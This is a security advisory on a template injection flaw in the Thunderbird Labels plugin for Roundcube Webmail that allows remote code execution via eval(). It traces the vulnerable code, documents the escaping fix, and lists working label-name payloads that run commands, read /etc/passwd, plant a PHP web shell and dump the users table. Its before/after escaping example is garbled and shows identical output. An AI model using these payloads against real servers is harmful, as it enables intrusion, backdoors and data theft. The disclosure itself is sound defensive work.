Date: 2025-06-13
Severity: CRITICAL
CVSS Score: 9.1 (Critical)
Attack Vector: Network
Attack Complexity: Low
Privileges Required: Low (authenticated user)
User Interaction: None
Impact: Remote Code Execution
Reported: No. For the most part, this is a dead plugin and had to be almost completely rewritten to run on PHP 8+, however, it did illuminate the Roundcube eval() vulnerability that we patched too.
A critical template injection vulnerability was discovered in the Thunderbird Labels plugin for Roundcube Webmail. The vulnerability allows authenticated users to execute arbitrary PHP code by injecting malicious template expressions through custom label names. This vulnerability provides a direct path to remote code execution without requiring administrative privileges or file system access.
The Thunderbird Labels plugin fails to sanitize user-supplied label names before injecting them into Roundcube template expressions, which are subsequently processed by the vulnerable eval_expression()
method.
Vulnerable File: roundcube/plugins/thunderbird_labels/thunderbird_labels.php
User Input Collection (Lines 225-229):
'LABEL1' => rcube_utils::get_input_value('custom_LABEL1', rcube_utils::INPUT_POST),
'LABEL2' => rcube_utils::get_input_value('custom_LABEL2', rcube_utils::INPUT_POST),
// ... etc
Unsafe Template Generation (Line 422):
$tpl_menu .= '<roundcube:button ... content="'."$i $human_readable".'" ... />';
Template Processing (Line 392):
return $this->rc->output->just_parse($tpl_code);
Code Execution:
just_parse()
→ parse_conditions()
→ eval_expression()
→ eval()
Attack Payload:
Label Name: "><roundcube:if condition="system('id')"><!--
Result:
content
attribute<roundcube:if>
tageval()
tb_label_modify_labels
configuration set to true
Data Exfiltration:
Label: "><roundcube:if condition="file_get_contents('/etc/passwd')">
Backdoor Installation:
Label: "><roundcube:if condition="file_put_contents('shell.php', '<?php system($_GET[c]);')">
Database Dump:
Label: "><roundcube:if condition="$GLOBALS['rcmail']->db->query('SELECT * FROM users')">
We implemented HTML escaping for all user-supplied label names:
// Before (vulnerable)
'LABEL1' => rcube_utils::get_input_value('custom_LABEL1', rcube_utils::INPUT_POST),
// After (secure)
'LABEL1' => rcube::Q(rcube_utils::get_input_value('custom_LABEL1', rcube_utils::INPUT_POST)),
// Before (vulnerable)
content="'."$i $human_readable".'"
// After (secure)
content="'."$i ".rcube::Q($human_readable).'"
The rcube::Q()
function performs HTML entity encoding:
"
→ "
>
→ >
<
→ <
'
→ '
This prevents breaking out of HTML attributes and injecting malicious tags.
Input: "><script>alert(1)</script>
Output: <roundcube:button content="1 "><script>alert(1)</script>" />
Result: XSS/Template Injection possible
Input: "><script>alert(1)</script>
Output: <roundcube:button content="1 "><script>alert(1)</script>" />
Result: Safely escaped, no injection
This vulnerability is part of a larger attack chain:
Both vulnerabilities have been addressed in our fixes.
Report Generated: 2025-06-13
Fix Status: RESOLVED - Input sanitization applied
Severity After Fix: None - Vulnerability eliminated